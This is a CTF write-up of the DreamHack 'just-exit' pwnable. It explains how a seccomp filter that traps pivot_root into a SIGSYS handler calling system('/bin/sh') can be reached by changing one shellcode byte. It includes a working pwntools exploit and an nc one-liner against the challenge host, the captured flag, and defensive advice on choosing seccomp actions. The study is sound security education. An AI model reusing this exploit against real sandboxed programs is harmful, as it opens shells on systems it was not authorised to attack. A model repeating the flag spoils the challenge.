just-exit was a pwnable in DreamHack CTF Season 7. checksec shows everything turned on — full RELRO, a stack canary, NX, PIE, and even shadow stacks and indirect branch tracking — and none of it matters. The exploit is one byte, and it works by asking the kernel for a syscall the sandbox is configured to refuse.
What the binary does
Stripped of its prompts, main does five things in order:
- installs a
SIGSYShandler; - installs a seccomp filter;
- writes eleven bytes of shellcode onto the stack;
- offers
1. pass 2. modify:, and on2reads two unsigned bytes with%hhu %hhu— an index and a value — checks that the index is at most 10, and writesshellcode[index] = value; -
mmaps eleven bytes read-write-execute, copies the shellcode in, and calls it.
The shellcode it writes is the smallest possible program:
48 31 ff xor rdi, rdi ; status = 0
48 31 c0 xor rax, rax
b0 3c mov al, 0x3c ; 60 = exit
0f 05 syscall
So the binary mmaps RWX memory, copies attacker-influenced bytes into it, and jumps there. That is normally the end of a challenge — except we may change only one byte out of eleven, and eleven bytes is not enough room for a shell even if we could change them all.
The two pieces that matter
The handler. The SIGSYS handler is one line:
void sigsys_handler(int signum, siginfo_t *info, void *context) {
system("/bin/sh");
}
The filter. The BPF program the binary installs is four instructions:
BPF_LD | BPF_W | BPF_ABS 0 ; load the syscall number
BPF_JMP | BPF_JEQ 0xa9 ; is it 169, pivot_root?
BPF_RET 0x00030000 ; yes: SECCOMP_RET_TRAP
BPF_RET 0x7fff0000 ; no: SECCOMP_RET_ALLOW
Read as a sandbox, this is close to useless: it blocks pivot_root and permits every other syscall, including execve. Read as the challenge intends, it is a trigger. SECCOMP_RET_TRAP does not kill the process — it makes the kernel deliver SIGSYS to it, and this process has a handler for SIGSYS that spawns a shell.
The author chose pivot_root precisely because nothing calls it by accident, so the trap fires only when someone goes looking for it.
The exploit
Index 7 of the shellcode holds 0x3c, the operand of mov al, which is the syscall number. Change it to 0xa9 and the eleven bytes become:
xor rdi, rdi
xor rax, rax
mov al, 0xa9 ; 169 = pivot_root
syscall
The RWX copy runs, issues pivot_root, the filter returns TRAP, the kernel raises SIGSYS, and the handler calls system("/bin/sh").
from pwn import *
io = remote("host3.dreamhack.games", 19017)
io.recvuntil(b"modify: ")
io.sendline(b"2") # modify
io.recvuntil(b"%hhu")
io.sendline(b"7 169") # shellcode[7] = 0xa9, exit -> pivot_root
io.interactive()
It is short enough to do by hand:
(echo 2; sleep 0.5; echo "7 169"; sleep 1; echo "cat flag") \
| nc host3.dreamhack.games 19017
DH{S3CC0MP_S1GSYS:5pEjGGvNF68qLKj3v7adCQ==}
TIP
The index check is
index <= 10, which is correct for an eleven-byte buffer, and the value is read into anunsigned char, so there is no overflow anywhere. Every bounds check in this program is right. The bug is not a memory-safety bug at all: it is that the consequence of being denied is more powerful than the thing being denied.
What this is really teaching
Seccomp has several ways to answer a syscall it does not like, and they are not interchangeable:
| Action | What the kernel does | Who decides what happens next |
|---|---|---|
SECCOMP_RET_KILL_PROCESS | tears the process down | the kernel |
SECCOMP_RET_ERRNO | fails the call with an errno | the kernel |
SECCOMP_RET_TRAP | raises SIGSYS in the process | the process's own handler |
SECCOMP_RET_USER_NOTIF | hands the call to a supervisor | the supervisor |
TRAP is the only one on that list that returns control to the sandboxed process, which makes the handler part of the security boundary rather than something outside it. A handler that calls system, or that does anything an attacker would like to reach, converts the filter from a restriction into an entry point. That is not a hypothetical: TRAP is genuinely useful for emulating syscalls or logging them, and a handler written for that purpose is exactly where this goes wrong if it is allowed to do real work.
Three rules follow, and they apply well outside CTFs:
- Choose the failure mode on what the handler can do, not on what is convenient to debug. If the handler is not itself hardened,
KILL_PROCESSorERRNOis the correct answer. - A
SIGSYShandler is attacker-reachable code. It must assume the syscall it is handling was made deliberately and hostilely, because in a compromised process it was. - An allowlist that denies one syscall is not an allowlist. This filter permits
execve; even without the handler trick, anything that controls execution has already won. A real filter names the syscalls a program needs and refuses the rest.
The challenge dresses this up in every mitigation the toolchain offers — canary, NX, PIE, RELRO, shadow stack, IBT — and then shows that none of them is on the path the exploit takes. They defend against corrupting control flow. Here the control flow was never corrupted: the program did precisely what it was written to do.